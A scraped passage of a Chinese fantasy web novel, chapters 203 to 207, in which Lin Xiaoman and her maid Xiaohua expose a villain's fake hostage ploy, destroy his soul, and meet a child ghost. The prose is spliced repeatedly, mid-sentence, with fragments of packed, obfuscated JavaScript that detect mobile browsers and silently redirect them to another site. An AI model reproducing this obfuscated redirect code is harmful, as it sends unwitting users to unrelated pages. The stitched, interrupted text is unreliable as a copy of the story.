l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574889|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对!”贾富贵猛地摇头,眼中闪过一丝狠厉, “你不会是想故意拖延时间,想办法从我手中把这些人给救走吧?我告诉你,我可没那么傻!我是绝对不会上你的当的!” 他都这么说了,偏偏林小满的脸色变都没有变化一丁点,依旧是那副似笑非笑、带着点怜悯的模样看着她,仿佛在说:“你继续表演。” 这种完全脱离掌控的感觉让贾富贵心慌意乱,一股邪火直冲脑门。 他需要打破这个僵局,需要看到林小满真实的反应!他需要确认自己的筹码是否真的有效! 电光火石间,他做出了一个决定,他要先毁掉一个“人质”,看看林小满还绷不绷得住! “既然你不在乎,那我就先杀一个给你看看!”贾富贵狞笑一声,心念一动。 站在他身侧的“秦婉”突然动了!一把利刃以迅雷不及掩耳之势,猛地刺入了“秦婉”的心口! “噗嗤——”一声轻响,像是刺破了什么空洞的东西。 秦婉脸上的表情瞬间凝固,身体晃了晃,随即软软地倒了下去,砰地一声摔在地上。 倒地之后的秦婉,身上被刺穿的伤口处,竟然连一丝鲜血都没有流出来!她就那样静静地躺在地上,脸色迅速变得灰败,仿佛一个被抽走了填充物的布偶。 林小满一直平静无波的脸上,终于皱起了眉头。 她轻轻地、几乎不可闻地叹了口气,像是终于失去了耐心。 她抬起眼,目光死死地锁定了贾富贵,刺得贾富贵下意识地后退了半步。 贾富贵察觉到了林小满这细微的变化,心中先是一惊,随即涌上的却是巨大的狂喜! 他成功了!他逼得林小满破功了! 他就知道!林小满怎么可能会无动于衷!她之前的冷漠都是装出来的!她还是在意的!她抓来的这些人质,果然是有用的!她刚才的皱眉和眼神变化,就是最好的证明! “哈哈哈哈哈!”贾富贵忍不住得意地大笑起来,感觉自己重新掌握了主动权, “林小满!你终于装不下去了吧!看来你也不是完全不在乎嘛!现在,立刻按我说的做!否则,下一个就是裴昭!我会让他亲手拧断这个侍卫的脖子!” 第二百零三章 生死抉择 就在贾富贵得意大笑,以为胜券在握之际,一旁憋笑憋了很久的小花终于忍不住了,发出了一连串银铃般却充满嘲讽的笑声。 “噗哈哈哈——哎哟喂,笑死我了!”小花捂着肚子,笑得前仰后合,她伸出白嫩的手指,指着贾富贵,眼泪都快笑出来了, “贾大掌柜,你这脑子是不是被门夹过,又被驴踢了,最后还进水了呀?你怎么就这么会给自己加戏呢?我家小姐皱个眉头,你就能脑补出这么多爱恨情仇、生死抉择?你这想象力不去茶楼说书真是屈才了!” 她模仿着贾富贵刚才的语气,捏着嗓子怪声怪气地说: “‘你终于装不下去了吧!’‘看来你也不是完全不在乎嘛!’我的天呐,你这自我感觉也太良好了吧?我家小姐那眼神分明是在看一个无可救药的蠢货,嫌弃你蠢得让她心烦,琢磨着该怎么清理垃圾才不脏手! 你怎么就能理解成她在乎你的人质了?你这理解能力是跟村口二傻子学的吗?” 贾富贵脸上的狂笑瞬间僵住,被林小满戏弄也就算了,毕竟林小满名声在外,可如今,连林小满身边这个看起来天真烂漫的小丫鬟,竟然都敢用这种极度轻蔑、如同看待秽物般的语气和姿态来嘲笑他! 这简直比林小满之前的无视更让他感到**和愤怒!一股血气直冲头顶,他的脸瞬间涨成了猪肝色。 “你……你这贱婢!找死!”贾富贵从牙缝里挤出怒吼,理智的弦终于崩断, “看来你们是真不想救他们了!既然如此,那就别怪我心狠手辣,先送这侍卫上路!” 他心念急转,就要操控“裴昭”捏碎东风的喉咙! 然而—— 他意念刚动,甚至还没来得及传递出清晰的指令,就感觉眼前一花! 一道青色的身影以他根本无法理解的速度,瞬间跨越了两人之间的距离! 前一瞬小花还在捧腹大笑,下一瞬,一只看似纤细柔弱的手,精准无比地扼住了他的脖颈! 巨大的力量传来,贾富贵只觉得呼吸一窒,所有的话都被卡在了喉咙里,操控“裴昭”的意念也被这突如其来的袭击打断。 他双眼难以置信地瞪着近在咫尺的小花那张依旧带着俏皮笑容的脸。 这……这怎么可能?! 这个小丫鬟的速度……怎么会这么快?!快到他这个自诩修为不弱的人,竟然连反应的时间都没有! 如果说林小满的高深莫测他还能勉强接受,可这小花……她明明看起来就是个普通丫头啊!怎么可能拥有如此恐怖的实力? 一个丫鬟都有这般骇人的身手,那一直气定神闲、一切尽在掌握的林小满,她的实力又该恐怖到何种地步?! 一股前所未有的寒意,伴随着窒息感,瞬间席卷了贾富贵的全身。 他直到此刻才隐约意识到,自己可能……从一开始就犯了一个致命的错误。 他以为自己是猎人,掌控着局面,却没想到,他才是那个一步步走入陷阱而不自知的猎物! 小花歪着头,看着贾富贵因惊骇和缺氧而扭曲的脸,笑嘻嘻地说道: “贾掌柜,现在……到底是谁不在乎谁的死活呀?你倒是再说一遍给我听听嘛?” 贾富贵喉咙里发出“嗬嗬”的挣扎声,想要催动邪术或是说些什么,却连一个字都吐不出来,只能眼睁睁看着自己的双腿徒劳地蹬踹,渐渐离开地面。 那只纤细的手掐得他颈骨咯咯作响,眼前阵阵发黑。 他能清晰地感觉到小花身上散发出的杀意,她是真的会下死手! 恐惧毒蛇瞬间缠紧了他的心脏。 不,他不能死!他现在还不能死!如果他**,就彻底失去了利用价值,以尊主的手段,就算他只剩下一缕残魂,也必定会被收回去,遭受永无止境的折磨,连堕入轮回都是奢望! 为什么?为什么会变成这样?他的计划明明如此周密!他挟持了当朝王爷,控制了秦家小姐,为何林小满从头到尾都像在看戏?为何她身边一个看似无害的小丫鬟, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574890|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都拥有如此碾压他的实力? 早知道……早知道他就应该更耐心些,计划得更详尽些,哪怕多花上数月,也要想办法抓几个林府的人物来当人质! 若不是林府被林小满搞得铁桶一般,他根本安插不进人手,他又何至于退而求其次,选择未必能完全牵制林小满的秦婉? 就在他意识开始模糊,以为自己即将命丧于此之时。 “小花。”林小满清冷的声音淡淡响起。 小花会意,嘴角勾起一抹狡黠的浅笑。那笑容 下一刻,她扼住他脖颈的手猛地一松,随即另一只手抓住他的衣襟,像是扔一件破麻袋般,狠狠将他掼在了地上! “砰!” 这一摔结结实实,贾富贵只觉得五脏六腑仿佛都移了位,剧烈的疼痛让他蜷缩起身子,像一只被煮熟的虾米,张大嘴巴却连痛呼都发不出来,只有嘶哑的抽气声。 尘土沾满了他的衣袍,狼狈不堪。 劫后余生的庆幸感刚刚升起,还没等他缓过一口气,一片阴影便笼罩了他。 小花蹲在他面前,双手托腮,依旧是那副天真无邪的模样,“贾掌柜,摔疼了吧?”小花笑眯眯地问,声音甜得发腻。 贾富贵惊恐地看着她,想往后缩,却浑身剧痛动弹不得。 他看到了让他毛骨悚然的一幕,不知从何处,无数条细小的、色彩斑斓的蛇嘶嘶地吐着信子,迅速爬上了他的身体! 冰凉的鳞片摩擦着他的皮肤,滑腻的触感让他头皮发麻。 这些蛇缠绕上他的手臂、大腿、脖颈……越缠越紧,将他牢牢固定在地上,强烈的束缚感让他几乎窒息。 “啊——!”他终于发出了一声凄厉的短促尖叫。 “你不会以为……我们是想放过你吧?”林小满轻缓的声音传来,带着一丝嘲弄的意味。 她慢步走到贾富贵身边,居高临下地看着他被蛇群缠绕、惊恐万状的丑态,然后,轻轻打了一个响指。 “啪!” 第二百零四章 看了一场好戏 清脆的响指声落下,贾富贵惊恐地紧闭双眼,预想中被万蛇噬咬的痛苦却并未到来。 他睁开眼,刚才那些缠绕在他身上、色彩斑斓的蛇群,竟然在他眼皮子底下消失得一干二净,仿佛从未出现过一般。 他立刻明白了,是障眼法!高明的幻术!他竟然在不知不觉中就着了林小满的道,被这逼真的幻象吓得魂飞魄散! 他倒是没想到,林小满除了实力深不可测,在幻术一道上竟也有如此造诣,简直是信手拈来,毫无烟火气。 林小满看着他惊魂未定、脸色煞白的模样,缓缓蹲下身, “贾富贵,你是不是很想知道,为什么你手上握着王爷和秦小姐这两张牌,自以为胜券在握,而我却从头到尾,都无动于衷?” 贾富贵喉咙滚动了一下,内心疯狂地叫嚣着“想!我当然想!我想破了头都想不明白!”,这几乎是他此刻最大的执念和挫败感的来源。 但他残存的那点可怜自尊,让他死死咬住了后槽牙,硬生生将头偏向了一边,从鼻子里发出一声压抑的、带着不服和怨恨的冷哼,试图维持最后一丝体面。 林小满将他这外强中干、死要面子的反应尽收眼底,了然地挑了挑眉,语气带着一丝玩味: “哦?原来你不想知道啊……”她作势欲起身,“那就算了吧。” “等等!”贾富贵几乎是脱口而出,声音因为急切和羞愤而有些变调。 他转回头,对上林小满那双眸子,瞬间意识到自己的失态,脸色更加难看,却又无法再强装下去。 “噗嗤——”一旁的小花再也忍不住,笑得花枝乱颤,她蹦跳到林小满身边,扯了扯她的袖子,指着贾富贵,语气里满是促狭: “小姐,小姐!你有没有觉得,咱们这位贾大掌柜,特别像一个东西啊?” 林小满配合地露出些许疑惑的神情,目光扫过贾富贵那张扭曲的脸,慢悠悠地说道: “啊?是吗?像什么东西?我还以为……他不是个东西呢。” 这话毒得让贾富贵浑身一抖,差点背过气去。 “就是因为他不是个东西,所以才像个东西嘛!”小花拍着手,笑得更加开心,她绘声绘色地描述道, “你看他这模样,心里明明好奇得跟猫抓似的,想知道答案想得都快疯了,面上却还要硬撑着,把头扭到一边装不在乎,结果小姐你一假装要走,他立马就破功原形毕露了! 这扭扭捏捏、死要面子活受罪的德行,像不像那巷口被踩了尾巴、又想凶人又怕再挨揍的瘌皮狗?哈哈哈哈!” 小花毫不留情的嘲笑将他最后那点遮羞布也扯得粉碎。 他气得浑身发抖,嘴唇哆嗦着,却连一句完整的反驳都说不出来,因为小花形容得……该死的贴切! 他刚才的反应,在旁人看来,可不就是那般可笑又可怜! 林小满看着贾富贵那副恨不得找个地缝钻进去,又因恐惧和愤怒而剧烈喘息的模样,知道火候差不多了。 林小满,“既然你这么‘想知道’,那我便发发善心,告诉你好了。” 林小满话音落下,并未直接解释,而是给了小花一个眼神。 小花会意,脸上依旧挂着那甜得腻人的笑容,却缓缓站起身,不紧不慢地走到了依旧被“裴昭”扼住咽喉、面色痛苦的东风身边。 在东风惊愕的目光中,小花手腕一翻,以迅雷不及掩耳之势,“锵”地一声抽出了东风腰间的佩剑! 寒光一闪! 下一刻,在所有人,尤其是贾富贵难以置信的注视下,小花手腕没有丝毫颤抖,动作干脆利落,将那柄锋利的宝剑,直直地刺入了裴昭的心口! “噗——” 依旧是那种刺入空洞之物的轻响,与之前秦婉被刺时如出一辙。 剑身没入,想象中的鲜血喷溅、王爷殒命的惨状并未发生。 裴昭的身体只是微微一震,脸上那木然的表情甚至都没有丝毫变化,仿佛被刺穿的只是一具空壳。 “不——!王爷!!!”东风眼见此景,目眦欲裂,发出一声撕心裂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583809|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肺的怒吼! 小花松手后,那扼住他喉咙的力量也消失了。 他顾不上自己脖颈的剧痛和呼吸不畅,如同疯了一般猛地冲上前,一把推开持剑的小花,颤抖着扶住裴昭即将软倒的身体。 他半抱着裴昭,抬头恶狠狠地瞪向小花,眼中布满血丝, “你干什么?!你知道你在做什么吗?!他是王爷!!!” 贾富贵也彻底惊呆了,大脑一片空白。他万万没想到,林小满身边的人竟然如此狠辣果决,说杀就杀,目标还是当朝王爷! 这……这完全超出了他的理解范围!难道林小满真的冷血至此,连王爷都能毫不犹豫地舍弃? 就在东风悲愤交加,贾富贵震惊失语之际,异变再生! 被东风小心翼翼抱在怀中的裴昭,身体忽然变得虚幻、透明,倏忽间消散无踪! 只在原地留下一只闪烁着微光的、漂亮的蓝色蝴蝶,扑扇着翅膀,轻盈地飞起,在小花指尖停留了一瞬,随即化作点点荧光,彻底消失。 与此同时,旁边地上那具秦婉的尸体,也发生了同样的变化,无声无息地消散,没有留下任何痕迹。 仿佛这两个人,从未真实存在过。 东风还维持着半抱着什么的姿势,手臂僵在半空,脸上的悲愤和泪水凝固,整个人像被施了定身法,彻底傻在了原地,脑子里嗡嗡作响,完全无法理解眼前这超乎常理的一幕。 “王……王爷?”他茫然地喃喃自语,像个迷路的孩子,不知所措。 就在这时,从他们来时的小径方向,传来了一阵清晰而从容的掌声。 “啪、啪、啪……” 众人循声望去,只见两道颀长挺拔的身影缓步而来,衣袂飘飘,不是靖安王裴昭和秦婉又是谁? 他目光越过呆滞的东风和面如死灰的贾富贵,最终落在林小满身上,那眼神里带着毫不掩饰的欣赏。 他一边鼓掌,一边走近,“不错,真不错。没想到今日,竟让本王看了一场如此精彩绝伦的好戏。” 第二百零五章 将计就计 贾富贵看着并肩走来、毫发无伤的裴昭和秦婉,眼珠子都快瞪出来了,脸上血色尽褪,如同见了鬼一般。 他伸手指着裴昭,声音因为极度的震惊和恐惧而尖锐变形:“你……你怎么会在这里?!那……那刚才屋里的是……” 他猛地意识到什么,一种被彻底愚弄的绝望感攫住了他。 东风更是又惊又喜,几乎不敢相信自己的眼睛。 他愣了一瞬,随即像只被踩了尾巴的兔子一样猛地窜了过去,也顾不上什么礼仪尊卑,冲到裴昭身边,激动地左看看右看看,甚至还下意识地伸手摸了摸裴昭的胳膊,感受到温热的触感和坚实的肌肉,这才终于确信是**无疑! “王爷!真的是王爷!王爷您没事!太好了!您还没死!真是太好了!” 东风激动得语无伦次,眼圈都红了,刚才那肝胆俱裂的恐慌此刻化作了巨大的狂喜。 裴昭被他这傻乎乎的样子弄得有些哭笑不得,没好气地翻了个白眼,抽回自己的手臂,嫌弃道: “废话!你都还没死,本王怎么能死?” 东风被噎了一下,傻傻地摸了摸自己的后脑勺。 再傻他也反应过来了,这分明就是王爷和林小姐联手做的一个局! 从始至终,贾富贵就像个跳梁小丑,被**于股掌之间,而他自己……刚才还对着小花又吼又骂…… 想到这里,他猛地一拍脑袋,脸上瞬间涨得通红,满是懊悔和尴尬。 他偷偷地、小心翼翼地瞥了一眼旁边抱着胳膊,好整以暇看着他的小花。 果然,小花正恶狠狠地瞪着他,那双圆溜溜的大眼睛里几乎要喷出火来,显然对他刚才推她那一下以及恶声恶气的指责耿耿于怀。 东风被瞪得一阵心虚发毛,头皮都有些发麻。 他咽了口唾沫,脸上堆起一个讨好的、带着几分傻气的笑容,慢慢地、一步一蹭地挪到了小花身边。 他伸出两根手指,小心翼翼地、轻轻地扯了扯小花的袖口,声音低得像蚊子哼哼: “那个……小花姑娘……刚才……刚才对不住啊……我……我那不是急昏头了嘛……我没想推你的……更不该凶你……你……你别生气了好不好?” 小花冷哼一声,用力想把袖子扯回来,别过脸去不看他。 东风见状更急了,又不敢用力拉扯,只好继续低声下气地道歉: “是我蠢!是我笨!没看出那是王爷和林小姐的计策!我错了!真的错了!你大人有大量,别跟我一般见识……” 他一边说,一边偷偷观察小花的脸色。 小花虽然还板着脸,但紧绷的嘴角微微松动了一丝。 她猛地转回头,伸出纤纤玉指,用力戳了戳东风的额头,嗔怒道: “你这个呆子!莽夫!下次再敢不分青红皂白就对我动手,看我不告诉小满,让她把你吊起来打!” 虽然说着威胁的话,但语气已经缓和了不少。 东风一听,知道这是有转圜的余地了,连忙点头如捣蒜,赔着笑脸保证: “不敢了不敢了!绝对没有下次了!以后小花姑娘你说东,我绝不往西!” 看着东风那副憨傻认错的模样,小花终于忍不住,“噗嗤”一声笑了出来,虽然立刻又努力板起脸,但眼里的笑意却藏不住了。 她甩开东风的手,轻哼道:“谁要你往东往西的,笨手笨脚,别给我添乱就行!” 这边东风和小花刚缓和了气氛,那边瘫软在地的贾富贵终于从巨大的打击和震惊中缓过一口气,他死死盯着林小满和裴昭,声音嘶哑,带着浓浓的不甘和难以置信: “你们……你们到底是什么时候……什么时候发现的我的计划?那封信……那木屋……还有他们……” 他指着裴昭和秦婉,手指都在颤抖,“我明明做得天衣无缝!锁魂咒也成功施展了!怎么会变成这样?!” 林小满居高临下地看着他,眼神淡漠,如同在看一只濒死的蝼蚁在徒劳挣扎: “天衣无缝?贾掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583810|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柜,你未免太高看自己了。” 她顿了顿,继续说道,“你能够发现青阳的踪迹,并且故意放他回来报信,引我们前来……那你凭什么认为,我们就不会发现,你已经发现青阳了呢?” 贾富贵瞳孔一缩。 林小满接着道:“那天晚上,青阳回来禀报,说他潜入顺利,并未被发现。” 她嘴角勾起一抹嘲讽的弧度,“可惜,他虽擅长隐匿,却忽略了一点,他回来时,鞋底边缘沾上了一种极为特殊的、只在你这山庄后山阴湿处生长的鬼面苔的孢子粉末。 那种苔藓,若非刻意靠近甚至触碰,绝不会沾染上。而他探查的位置,据他所说,距离木屋尚有一段距离。” “所以……”贾富贵声音干涩。 “所以,只有一个解释。”裴昭接过话, “他是被你故意引到那个地方的,你让他看到了你希望他看到的一切,包括被锁魂咒控制的我们。而他,自以为隐匿功夫高超,实则早已成了你传递假消息的棋子。” 林小满点头:“你将计就计,想引我们入瓮。我们自然也能将计就计,陪你演这场戏。” 她目光扫过刚才幻影消失的地方,“你能用邪术制造被控制的假象,我自然也可以用幻形化物之术,弄两个以假乱真的傀儡陪你演戏。至于真正的他们……” 她看了一眼裴昭和秦婉,“一直在暗处,看着你如何得意,如何自以为是地操控全局。” 贾富贵听完,浑身的力量仿佛被瞬间抽空,彻底瘫软在地,面如死灰。 原来他从一开始就落入了别人的圈套,他所有的谋划、所有的底牌,在对方眼中不过是一场早已看透的拙劣表演。 他以为自己步步为营,却不知自己始终在别人画好的圈子里打转。 “幻形化物……竟然是如此高明的幻形化物……”他失神地喃喃,连一丝鲜血都没有的傀儡,逼真到连他近距离操控都未曾察觉异常的幻影……这林小满的道行,究竟深厚到了何种地步? 第二百零六章 魂飞魄散 林小满不再看他那副失魂落魄的样子,对小花和东风吩咐道: “将他捆了,废去修为。” “是,小姐!”小花响亮地应道,顺手从旁边扯过一根粗壮的藤蔓,不怀好意地走向贾富贵。 东风也立刻收敛了情绪,面色一肃,紧跟而上。 贾富贵看着逼近的两人,眼中最后一点光彩也熄灭了,只剩下无尽的绝望和恐惧。 他知道,落在林小满手里,他的下场恐怕比死还要凄惨。 看着小花和东风拿着藤蔓逼近,贾富贵眼中闪过一丝疯狂,他猛地挣扎起来,冲着林小满嘶吼道: “林小满!要杀便杀!给老子一个痛快!休想折辱于我!” “想死?你想得美!”小花闻言,柳眉倒竖,上前一步,毫不客气地一脚踹在贾富贵的肚子上,将他刚撑起的身子又踹翻在地, “坏事做尽,丧尽天良!对着普通人下手,劫持无辜之人当人质,这等下作无耻的事情你都做得出来,你还有脸在这里要求痛快? 让你就这么简简单单**,岂不是太便宜你了!那些被你害死的人,那些因你而家破人亡的百姓,他们的冤屈找谁申去?!你还真是脸皮比城墙还厚啊。” 贾富贵被踹得蜷缩起来,剧痛让他说不出话,只能发出痛苦的呻吟,但眼神中的怨毒丝毫不减。 秦婉见状,蹦蹦跳跳地跑到林小满身边,亲昵地挽住她的手臂,看着被制住的贾富贵,心有余悸又满是崇拜地对林小满说: “小满妹妹!你简直太牛了!算无遗策!你简直就是我的神!刚才可吓死我了,虽然知道是假的,但看着那个我倒下去,心里还是****的。” 林小满拍了拍她的手:“一点小把戏而已,对付这种自作聪明的家伙,足够了。” 几人见贾富贵已被彻底制住,便准备转身离开这晦气的木屋。 然而,就在他们刚迈出几步之时,身后突然传来小花一声急促的尖叫: “不好了小满!这臭玩意儿**了!” 林小满猛地回头,只见刚刚还在地上蜷缩的贾富贵,此刻七窍中渗出黑血,身体剧烈地抽搐了两下,便彻底不动了,气息已然断绝。 他竟是不知道用了什么秘法,自绝了心脉! 而小花反应极快,在发现异常的瞬间就已经出手。 她的手中正横着一道无形的力量,牢牢抓住了一个刚刚从贾富贵尸体上飘出来的、淡薄而扭曲的虚影,正是贾富贵刚刚离体的魂魄! 那魂魄状的贾富贵脸上还带着自戕成功的决绝和一丝解脱,但随即就化为了极致的茫然和惊恐。 他难以置信地看着抓住自己的小花,又看看自己的“尸体”,发出无声的尖叫。 他都已经**!为什么这个臭丫鬟还能抓住他?!这根本不是寻常武功能做到的! 她们……她们到底是什么东西?!难道连做鬼都逃不出她们的掌心吗?! 林小满看着贾富贵那惊恐万状的魂魄,眼神没有丝毫波动,仿佛在看一件无关紧要的事情,语气平淡地如同在说今天天气不错: “算了,死都**,留着这魂魄也是祸害,灭了吧。” “好嘞!”小花应了一声,脸上露出一个带着冷意的笑容。 在贾富贵魂魄极度震惊和恐惧的注视下,小花那只抓住他魂魄的手掌之上,腾起一团白色火焰! “不——!!!”贾富贵的魂魄发出无声的、绝望的哀嚎,拼命挣扎,却根本无法挣脱。 白色火焰瞬间将他整个魂魄吞噬,如同冰雪消融,连一丝青烟都未曾留下,就在原地被净化得干干净净,真正的…… 神形俱灭,灰飞烟灭! 周围瞬间安静下来,只有风吹过树叶的沙沙声。 东风看着这一幕,咽了口唾沫,对小花的敬畏之心又加深了一层。 秦婉也下意识地抓紧了林小满的胳膊。 林小满却像是只是随手拍**一只苍蝇,转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590750|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身, “走吧,此地不宜久留。回去还有的忙。” 贾富贵这个棋子是彻底清除了,但他背后那条隐藏的“大鱼”,以及他们口中那位神秘的尊主,依旧笼罩在迷雾之中。 秦婉看着贾富贵魂飞魄散的地方,拍了拍胸口,长舒一口气,随即又挽紧林小满的胳膊,语气带着毫不掩饰的佩服和畅快: “小满,我真的越来越佩服你了!该杀就杀,该灭就灭,干脆利落!对付这种人,就该让他真正的灰飞烟灭,什么破玩意儿!哼,做出这么多伤天害理的事情,还以为**就能一了百了?做梦!” 林小满侧头看着秦婉那副嫉恶如仇、快意恩仇的娇俏模样,眼中闪过一丝笑意。 她就喜欢秦婉这爱憎分明、不矫揉造作的性子。 “贾富贵跟着那尊主多年,修炼邪术,他的灵魂早就不属于他自己了,被打上了特殊的烙印。” 林小满解释道,“若是普通人**,魂魄离体,尚有地府可去,经历审判,进入轮回。但像贾富贵这种人,他们死后,魂魄不会归于地府,而是会受那烙印牵引,自动飘向尊主的身边,继续以另一种形态为那尊主服务,成为其鬼仆或者养料,几乎永无超生之日……当然,对他而言,或许也算一种归宿。” 裴昭一直静静听着,此刻眉头微蹙,抓住了关键,沉声问道: “所以,刚才你让小花直接将他的魂魄打得灰飞烟灭,就是为了防止他的魂魄被那尊主回收?避免打草惊蛇,或者让对方得到什么信息?” 林小满赞许地看了裴昭一眼,点了点头,肯定道: “没错。与其让他的魂魄回去,增强对方一丝一毫的力量,或者泄露我们可能存在的某些信息,不如彻底净化干净,一了百了。斩草,需除根。” 对敌人仁慈就是对自己残忍,这个道理,她比谁都明白。 尤其是在面对一个神秘莫测、手段狠辣的尊主时,任何一点疏漏都可能带来致命的后果。 第二百零七章 就算是你哭闹,也不会帮你的 夜色渐深,林小满卧房窗户外,小花伸着懒腰,活动了一下筋骨,正准备回房休息,眼角的余光却瞥见墙角阴影里,一个小小的身影正蜷缩在那里,一动不动。 她定睛一看,是茹儿那个小鬼。 小花挑了挑眉,放轻脚步走了过去,在她旁边蹲下,用手肘轻轻碰了碰她冰凉的肩膀: “喂,干嘛呢?大半夜不找个地方猫着睡觉,蹲在这儿当蘑菇啊?怎么还没走?” 茹儿没有抬头,依然保持着双手抱膝的姿势,小小的身子缩成一团,声音闷闷地传来: “我本以为……你们能看见我,已经是很厉害很厉害的人了。没想到……你们还有这样的本事……” 小花愣了一下,随即反应过来她说的是今天在乱葬岗附近处理贾富贵魂魄的事情。 她浑不在意地笑了笑,顺手从地上拔了根草茎,叼在嘴里,一副吊儿郎当的样子: “害!我当什么事呢,就这点小事啊?对我们来说,那就是抬抬手,轻而易举嘛!我们厉害,这不是明摆着的事儿吗?你蹲在这儿伤心难过个什么劲儿?” 茹儿终于抬起头,露出一张苍白却清秀的小脸,大眼睛里盛满了与年龄不符的悲伤和失落: “我……我想让你们帮我找我娘亲。”她声音带着哽咽, “我本来想着,我若是可以帮你们做点什么事,是不是……是不是我们就可以达成什么交易,你们就会帮我了……可是你们这么厉害,什么事情都能自己解决,根本就没有……没有给我帮你们的机会……” 说到最后,她的声音越来越小,充满了无助和绝望。 小花看着她那可怜兮兮的模样,叼着草茎晃了晃,也在她旁边毫无形象地蹲稳了,叹了口气说道: “唉,就这事啊?我这么跟你说吧,小茹儿,我们小满呢,她说了不会帮你,那就肯定不会帮你。 就算是你现在跪下来求她,磕头磕破了,她也肯定不会帮你。她做事有自己的规矩和道理,说不帮,那就是不帮,没得商量。” 茹儿听到这话,眼中的光芒彻底黯淡下去,悲伤几乎要溢出来,她低下头,小小的肩膀微微颤抖,仿佛随时都会破碎在夜风里。 连最后一点渺茫的希望,似乎也断绝了。 小花看着茹儿那副万念俱灰、仿佛下一秒就要化作青烟彻底消散的可怜模样,心里终究还是软了一下。 她叹了口气,将嘴里的草茎拿下来,在手指间绕了绕,说道: “唉,看你这样儿,也怪可怜的。要不……你还是去试试找找别人帮忙?” 茹儿抬起泪眼朦胧的脸,呜咽着,声音断断续续: “没有……没有别人可以找了……这么久以来,只有你和小满姐姐……能看见我,能听见我说话……” “那也不是啊!”小花眼睛一亮,像是突然想到了什么,用草茎指了指前院的方向, “你可以去找今天跟着我们一起去乱葬岗的那个侍卫啊!他叫东风,你别看他有时候傻乎乎的,但人心眼实在,是个好人,挺热心的!” 茹儿的小脑袋耷拉下去,更沮丧了:“可是……他看不到我啊……我跟他说什么,他也听不见的……” “没关系!”小花拍了拍胸脯,一副包在我身上的架势, “我可以帮你啊!” 茹儿猛地抬起头,苍白的小脸上还挂着泪珠,但那双大眼睛里已经重新燃起了希望的光芒,她怯生生地、带着不敢置信的语气问道: “真……真的可以吗?小花姐姐,你真的可以帮我让东风哥哥看见我吗?” 她一下子站了起来,原本蜷缩的身影都挺直了些,满怀期待地看向小花,仿佛抓住了最后一根救命稻草。 小花看着她那瞬间被点亮的小脸,得意地扬了扬下巴: “当然可以啊!这有什么难的!” 她理直气壮地分析道, “小满只说了她‘不会帮你’找你娘亲,又没说不准我‘帮你让别人看见你’。这可不算是违 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598455|186603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背她的话!” 逻辑清晰,毫无破绽! 茹儿闻言,高兴得几乎要跳起来,在原地飘忽地转了个圈,她飘到小花面前,仰着小脸,声音又甜又脆,充满了真挚的感激: “谢谢!谢谢漂亮的小花姐姐!小花姐姐你真好!你真好看!” 小花还是第一次被人……呃,被鬼这么直白又真诚地夸赞“漂亮”和“好看”,虽然对方是个小女鬼,但这话听着实在顺耳。 她心里那点因为多管闲事可能带来的些许忐忑瞬间被熨帖平了,整个人都舒坦了起来,嘴角控制不住地上扬,却还要努力维持一点高人的矜持。 她清了清嗓子,故作老成地摆摆手: 